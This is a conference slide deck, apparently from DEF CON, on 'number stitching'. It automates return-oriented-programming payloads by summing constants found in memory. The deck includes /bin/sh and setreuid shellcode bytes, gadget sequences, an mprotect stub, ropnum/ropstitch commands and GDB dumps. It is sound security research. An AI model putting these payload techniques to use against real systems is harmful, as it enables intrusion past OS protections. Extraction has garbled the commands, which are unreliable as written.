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!  Work for Cisco Systems 
!  Security engineer in the Cloud Web Security Business Unit (big cloud 

based security proxy) 
!  Interested mostly in bits and bytes 
!  Disclaimer: research… own time… my opinions… not my employers  

Who am I? 
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1.  Brief ROP overview 
2.  Automating ROP payload generation 

3.  Number Stitching 
1.  Goal 
2.  Finding gadgets 
3.  Coin change problem 

4.  Pros, Cons, Tooling 
5.  Future Work 

Agenda 
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Introduction 
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!  Use only gadgets generated by libc or compiler stubs. In short, 
target the libc or compiler gadgets instead of the binary ones 

!  Generate payloads using numbers found in memory 

!  Solve the coin change problem to automatically generate ROP 
payloads 

!  Automate the payload generation 

TL;DR 
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ROP overview 
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!  Re-use instructions from the vulnerable binary 
!  Control #ow using the stack pointer 

!  Multi-staged: 
1.  Build the payload in memory using gadgets 
2.  Transfer execution to generated payload 

!  Only way around today’s OS protections (let aside home routers, 
embedded systems, IoT, …) 

Principle 
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!  Useful instructions => gadgets 
!  Disassemble backwards from “ret” instruction 

!  Good tools available 
!  Number of gadgets to use is dependent upon target binary 

Finding instructions 
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!  Once payload is built in memory 
!  Transfer control by “pivoting” the stack 

!  Allows to redirect execution to a stack crafted by the attacker 
!  Useful gadgets: 

!  leave; ret 
!  mv esp, addr; ret 
!  add esp, value; ret 

Transfer control to payload 
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Automating payload generation 
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!  Find required bytes in memory 
!  Copy them to a controlled stack 

!  Use either: 
!  A mov gadget (1, 2 or 4 bytes) 
!  A  copy function if available (strcpy, memcpy, …) (variable byte length) 

Classic approach 
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!  Availability of a mov gadget 
!  Can require some GOT dereferencing 

!  Availability of some bytes in memory 
!  May require some manual work to get the missing bytes 

Potential problems 
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!  Shellcode requires “sh” (\x73\x68) 

!  Got it! What about “h/” (\x68\x2f)? 

Finding bytes 

someone@something:~/somewhere$#sc="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”#
someone@something:~/somewhere$#ROPgadget#abinary#Bopcode#"\x73\x68"#
Gadgets#information#
============================================================#

0x08048321:#"\x73\x68”#
someone@something:~/somewhere$#hexdump#BC#abinary.text|#egrep#BBcolor#"73(\s)*68"#
00000320##75#73168#00#65#78#69#74##00#73#74#72#6e#63#6d#70##|ush.exit.strncmp|#

someone@something:~/somewhere$#hexdump#BC#hbinary5Bmem.txt#|#egrep#BBcolor#"68(\s)*2f"#
someone@something:~/somewhere$##
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!  Very small binaries do not tend to have many mov gadgets 
!  In the case of pop reg1; mov [ reg2 ], reg1: 

!  Null byte can require manual work 

 

mov gadget 
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Number stitching 
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!  Is exploiting a “hello world” type vulnerability possible with: 
!  RELRO 
!  X^W 
!  ASLR 

!  Can the ROP payload be built only from libc/compiler introduced 
stubs? 

!  In other words, is it possible not to use any gadgets from the target 
binary code to build a payload? 

Initial problem 
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Program anatomy 
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!  What other code surrounds the “hello world” code? 

!  Does libc add anything at link time? 

Libc static functions 

someone@something:~/somewhere$#pygmentize#abinary.c#
#include#<stdio.h>#
#
int#main(int#argc,#char#**argv,#char**#envp)#{#

#printf("Hello#Defcon!!\n");#
}#

someone@something:~/somewhere$#objdump#Bd#Bj#.text#BM#intel#abinary|#egrep#'<(.*)>:'#
08048510#<_start>:#
080489bd#<main>:#
080489f0#<__libc_csu_fini>:#
08048a00#<__libc_csu_init>:#
08048a5a#<__i686.get_pc_thunk.bx>:#
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!  At link time “libc.so” is used 
!  That’s a script which both dynamically and statically links libc: 

 

!  Looks libc_nonshared.a statically links some functions: 

Where does this come from? 

someone@something:~/somewhere$#cat#libc.so#
/*#GNU#ld#script#
###Use#the#shared#library,#but#some#functions#are#only#in#
###the#static#library,#so#try#that#secondarily.##*/#
OUTPUT_FORMAT(elf32Bi386)#
GROUP#(#/lib/i386BlinuxBgnu/libc.so.6#/usr/lib/i386BlinuxBgnu/libc_nonshared.a##AS_NEEDED#(#/lib/i386B
linuxBgnu/ldBlinux.so.2#)#)#
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!  Quite a few functions are: 

What is statically linked?  

someone@something:~/somewhere$#objdump#Bd#Bj#.text#BM#intel##/usr/lib/i386BlinuxBgnu/libc_nonshared.a#|#egrep#
'<*>:'#
00000000#<__libc_csu_fini>:#
00000010#<__libc_csu_init>:#
00000000#<atexit>:#
00000000#<at_quick_exit>:#
00000000#<__stat>:#
00000000#<__fstat>:#
00000000#<__lstat>:#
00000000#<stat64>:#
00000000#<fstat64>:#
00000000#<lstat64>:#
00000000#<fstatat>:#
00000000#<fstatat64>:#
00000000#<__mknod>:#
00000000#<mknodat>:#
00000000#<__warn_memset_zero_len>:#
00000000#<__stack_chk_fail_local>:#
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!  Those functions are not always included 
!  Depend on compile options (-fstack-protector, …) 

!  I looked for gadgets in them. 
!  Fail… 

 

Gadgets in static functions 
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Anything else added? 

!  Is there anything else added which is constant: 
!  get_pc_thunk.bx() used for PIE, allows access to GOT 
!  _start() is the “real” entry point of the program 

!  There are also a few “anonymous” functions (no symbols) 
introduced by gcc.  

!  Those functions relate to pro!ling 
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!  Pro!ling is surprisingly on by default on some distros. To check 
default compiling options: cc –Q –v.  

!  Look for anything statically linking 

!  This work was done on gcc 4.4.5 
!  Looking for gadgets in that, yields some results! 

Static linking 
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!  What I get to work with: 
1.  Control of ebx in an pro!ling function: pop#ebx#;#pop#ebp#;;#
2.  Stack pivoting in pro!ling function: leave#;;  
3.  Write to mem in pro!ling function: add#[ebx+0x5d5b04c4]#eax#;;#
4.  Write to reg in pro!ling function: add#eax#[ebxB0xb8a0008]#;#add#esp#

0x4#;#pop#ebx#;#pop#ebp#;; 

!  In short, attacker controls: 
!  ebx 
!  That’s it… 

!  Can anything be done to control the value in eax? 

Useful gadgets against gcc 4.4.5 
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Shellcode to numbers 



Cisco Con!dential 26 © 2013-2014  Cisco and/or its a"liates. All rights reserved. 

!  Useful gadget: add#eax#[ebxB0xb8a0008]#;#(removed trailing junk) 
!  We control ebx, so we can add arbitrary memory with eax 

!  Is it useful? 
!  Yes, let’s come back to this later 

Accumulating 
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!  Useful gadget: add#[ebx+0x5d5b04c4]#eax#;;#
!  Ebx is under attacker control 

!  For the time being, assume we control eax 
!  Gadget allows to add a value from a register to memory 

!  If attacker controls eax in someway, this allows to write anywhere 

!  Use this in order to dump a value to a custom stack 

Dumping 
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!  Choose a spot in memory to build a stack: 
!  .data section is nice 
!  must be a code cave (mem spot with null bytes), since we are performing 

add operations 

!  Choose a shellcode to write to the stack: 
!  As an example, use a setreuid shellcode 

!  Nothing unusual in all this 

Approach 
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1.  Next, cut the shellcode into 4 byte chunks 
2.  Interpret each chunk as an integer 

3.  Keep track of the index of each chunk position 
4.  Order them from smallest to biggest 

5.  Compute the di$erence between chunks 

6.  There is now a set of monotonically increasing values representing 
the shellcode 

Chopping shellcode 
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Visual chopping 

\x04\x03\x02\x01 \x08\x07\x06\x05 \x0d\x0c\x0b\x0a 

0x01020304 0x05060708 0x0a0b0c0d 

1 32

123

0x01020304 0x04040404 0x05050505 
3 2 1

0x05060708 – 
0x01020304 

2

0x0a0b0c0d – 
0x05060708 

1

Shellcode 

Chunks 

Deltas 

Monotonically 
increasing 
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!  Shellcode is represented as increasing deltas 
!  Add delta n with n+1 

!  Dump that delta at stack index 
!  Repeat 

!  We’ve copied our shellcode to our stack 

 

Reverse process 
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1.  Find address of number 0x01020304 in memory 

2.  Load that address into ebx 

3.  Add mem to reg. Eax contains 0x01020304 

4.  Add reg to mem at index 3. Fake stack contains “\x04\x03\x02\x01” 

5.  Find address of number 0x04040404 in memory and load into ebx 

6.  Add mem to reg. Eax contains 0x01020304 + 0x04040404 = 0x05060708 

7.  Add reg to mem. Fake stack contains “\x08\x07\x06\x05\x04\x03\x02\x01” 

8.  Repeat 

Example 
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!  How easy is it to !nd the shellcode “numbers” in memory? 
!  Does memory contain numbers such as: 

!  0x01020304 
!  "\x6a\x31\x58\x99” => 0x66a7ce96 (string to 2’s complement integer) 

!  If not, how can we build those numbers to get our shellcode? 

Problem 
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Stitching numbers 
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!  It’s not easy to !nd “big” numbers in memory 
!  Shellcode chunks are big numbers 

!  Example: looking for 0x01020304: 

!  In short, not many large numbers in memory 

Answers 

someone@something:~/somewhere$#gdb#hw#
gdbBpeda$#peda#searchmem#0x01020304#.text#
Searching#for#'0x01020304'#in:#.text#ranges#
Not#found#
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!  Scan memory regions in ELF: 
!  RO segment (contains .text, .rodata, …) is a good candidate: 

!  Read only so should not change at runtime 
!  If not PIE, addresses are constant 

!  Keep track of all numbers found and their addresses 

!  Find the best combination of numbers which add up to a chunk 

Approach 
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!  This is called the coin change problem 
!  If I buy an item at 4.25€ and pay with a 5€ note 

!  What’s the most e"cient way to return change? 
!  0.75€ change: 

!  1 50 cent coin  
!  1 20 cent coin 
!  1 5 cent coin  

Coin change problem 
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!  In dollars, answer is di$erent 
!  0.75$: 

!  1 half-dollar coin 
!  1 quarter 

!  Best solution depends on the coin set 
!  Our set of coins are the numbers found in memory 

 

In hex you’re a millionaire 
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!  Ideal solution to the problem is using Dynamic Programming: 
!  Finds most e"cient solution 
!  Blows memory for big numbers 
!  I can’t scale it for big numbers yet 

!  Sub-optimal solution is the greedy approach: 
!  No memory footprint 
!  Can miss the solution 
!  Look for the biggest coin which !ts, then go down 
!  Luckily small numbers are easy to !nd in memory, meaning greedy will 

always succeed 

Solving the problem 
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!  75 cents change example: 
!  Try 2 euros  ✖ 
!  Try 1 euro  ✖ 
!  Try 50 cents  ✔#

!  Try 20 cents  ✔#

!  Try 10 cents  ✖ 
!  Try 5 cents  ✔ 

!  Found solution:  

Greedy approach 
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!  Tool to !nd a solution to the coin change problem 
!  Give it a number, will get you the address of numbers which solve 

the coin change problem 
!  Can also: 

!  Ignore addresses with null-bytes  
!  Exclude numbers from the coin change solver 
!  Print all addresses pointing to a number  
!  … 

Introducing Ropnum 
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!  Find me: 
!  The address of numbers… 
!  In the segment containing the .text section 
!  Which added together solve the coin change problem (i.e.: 0x01020304) 

Usage 

someone@something:~/somewhere$#ropnum.py#Bn#0x01020304#BS#Bs#.text#hw#2>#/dev/null##
Using#segments#instead#of#sections#to#perform#number#lookups.#
Using#sections#[.text]#for#segment#lookup.#
Found#loadable#segment#starting#at#[address#0x08048000,#offset#0x00000000]#
Found#a#solution#using#5#operations:#[16860748,#47811,#392,#104,#5]#

0x08048002#=>#0x0101464c#16860748#
0x0804804c#=>#0x00000005########5#
0x080482f6#=>#0x00000068######104#
0x08048399#=>#0x0000bac3####47811#
0x08048500#=>#0x00000188######392#
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!  Now you can use an accumulating gadget on the found addresses 

!  add#eax#[ebxB0xb8a0008]#;#add#esp#0x4#;#pop#ebx#;#pop#
ebp#;;#

!  By controlling the value addressed by ebx, you control eax 

Ropnum continued 

someone@something:~/somewhere$#ropnum.py#Bn#0x01020304#BS#Bs#.text#hw#2>#/dev/null#
Found#a#solution#using#5#operations:#[16860748,#47811,#392,#104,#5]#
0x08048002#=>#0x0101464c#16860748#
0x0804804c#=>#0x00000005########5#
0x080482f6#=>#0x00000068######104#
0x08048399#=>#0x0000bac3####47811#
0x08048500#=>#0x00000188######392#
someone@something:~/somewhere$#python#Bc#'print#hex(0x00000188+0x0000bac3+0x00000068+0x00000005+0x0101464c)'###########
0x1020304#
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Putting it together 
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!  Cut and order 4 byte shellcode chunks   
!  Add numbers found in memory together until you reach a chunk 

!  Once a chunk is reached, dump it to a stack frame 
!  Repeat until shellcode is complete 

!  Transfer control to shellcode 

!  Git it at https://github.com/alexmgr/numstitch 

Summary 
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!  What it does: 
!  Takes an input shellcode, and a frame address 
!  Takes care of the tedious details (endianess, 2’s complement, padding, … ) 
!  Spits out some python code to generate your payload 

!  Additional features: 
!  Add an mprotect RWE stub frame before your stack 
!  Start with an arbitrary accumulator register value 
!  Lookup numbers in section or segments 

Introducing Ropstitch 
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!  The fake stack lives in a RW section 
!  You need to make that page RE 

!  Mprotect allows to change permissions at runtime 
!  The mprotect stub will change the permissions of the page to allow 

shellcode execution 
!  Mprotect(page base address, page size (0x1000), RWE (0x7)) 

Why do you need an mprotect stub 
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!  Generate a python payload: 
!  To copy a /bin/sh shellcode: 
!  To a fake frame frame located at 0x08049110 (.data section) 
!  Appending an mprotect frame (default behaviour) 
!  Looking up numbers in RO segment 
!  In binary abinary 

Example usage 

someone@something:~/somewhere$#ropstitch.py#Bx#"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a
\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd
\x80"#Bf#0x08049110#BS#Bs#.text#Bp#abinary#2>#/dev/null#
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!  The tool will spit out some python code, where you need to add your 
gadget addresses 

!  Then run that to get your payload 

!  Output is too verbose. See an example and further explanations on 
numstitch_details.txt (Defcon CD) or here: 
https://github.com/alexmgr/numstitch 

Example tool output 
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GDB output 
gdbBpeda$#x/16w#0x804a11c#
0x804a11c: #0xb7f31e00 #0x00000000 #0x00000000 #0x00000000#
0x804a12c: #0x00000007 #0x00000000 #0x00000000 #0x00000000#
0x804a13c: #0x00000000 #0x00000000 #0x00000000 #0x00000000#
0x804a14c: #0x00000000 #0x00000000 #0x00000000 #0x00000000#
gdbBpeda$###Writing#int#0x80.#Notice#that#the#numbers#are#added#in#increasing#order:#
0x804a11c: #0xb7f31e00 #0x00000000 #0x00000000 #0x00000000#
0x804a12c: #0x00000007 #0x00000000 #0x00000000 #0x00000000#
0x804a13c: #0x00000000 #0x00000000 #0x00000000 #0x00000000#
0x804a14c: #0x00000000 #0x00000080 #0x00000000 #0x00000000#
gdbBpeda$###Writing#mprotect#page#size#(0x1000).#Notice#that#the#numbers#are#added#in#increasing#order:#
0x804a11c: #0xb7f31e00 #0x00000000 #0x00000000 #0x00001000#
0x804a12c: #0x00000007 #0x00000000 #0x00000000 #0x00000000#
0x804a13c: #0x00000000 #0x00000000 #0x00000000 #0x00000000#
0x804a14c: #0x00000000 #0x00000080 #0x00000000 #0x00000000#
gdbBpeda$#c#10#
gdbBpeda$###later#execution#(notice#the#missing#parts#of#shellcode,#which#will#be#filed#in#later,#once#
eax#reaches#a#slice#value):#
0x804a11c: #0xb7f31e00 #0x0804a130 #0x0804a000 #0x00001000#
0x804a12c: #0x00000007 #0x00000000 #0x2d686652 #0x52e18970#
0x804a13c: #0x2f68686a #0x68736162 #0x6e69622f #0x5152e389#
0x804a14c: #0x00000000 #0x00000080 #0x00000000 #0x00000000#
gdbBpeda$###end#result#(The#shellcode#is#complete#in#memory):#
0x804a11c: #0xb7f31e00 #0x0804a130 #0x0804a000 #0x00001000#
0x804a12c: #0x00000007 #0x99580b6a #0x2d686652 #0x52e18970#
0x804a13c: #0x2f68686a #0x68736162 #0x6e69622f #0x5152e389#
0x804a14c: #0xcde18953 #0x00000080 #0x00000000 #0x00000000#
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Pros and cons 
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!  Pros: 
!  Can encode any shellcode (no null-byte problem) 
!  Lower 2 bytes can be controlled by excluding those values from the 

addresses 
!  Not a$ected by RELRO, ASLR or X^W 

!  Cons: 
!  Payloads can be large, depending on the availability of number 
!  Thus requires a big stage-0, or a gadget table 

Number stitching 
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Further usage 
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!  What if the value of eax changes between runtimes? 
!  In stdcall convention, eax holds the return value of a function call 

!  Just call any function in the PLT 
!  There is a good chance you control the return value that way 

Initialize eax 
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!  Number stitching can also be used to load further gadgets instead of 
a shellcode 

!  Concept of a gadget table 

!  Say you need: 
!  Pop ecx; ret;   => 59 c3 
!  Pop ebx; ret;   => 5b c3 
!  mov [ecx] ebx; ret;  => 89 19 c3 

!  Your shellcode becomes: “\x59\xc3\x5b\xc3\x89\x19\xc3” 

Shrink the size of the stage-0 
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!  Number stitching can transfer those bytes to memory 
!  ropstitch can change the memory permissions with the mprotect 

stub 
!  You can then just call the gadgets from the table as if they we’re part 

of the binary 
!  You have the ability to load any gadget or byte in memory 

!  This is not yet automated in the tool 

Gadget table 
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Future work 
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!  Search if there are numbers in memory not subject to ASLR: 
!  Check binaries with PIE enabled to see if anything comes up 
!  By de!nition, probably wont come up with anything, but who knows? 

!  Search for gadgets in new versions of libc/gcc. Seems di"cult, but 
might yield a new approach 

General 
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!  Get dynamic programming approach to work with large numbers: 
!  Challenging 

!  64 bit support. Easy, numbers are just bigger. Mprotect stack might 
be harder because of the di$erent ABI 

!  Introduce a mixed approach: 
!  String copying for bytes available 
!  Number stitching for others 
!  Maybe contribute it to some rop tools (if they’re interested) 

!  Simplify the concept of gadget tables in the tool 

Tooling 
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Contact details 
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!  amoneger@cisco.com 
!  https://github.com/alexmgr/numstitch 

 

Alex Moneger 
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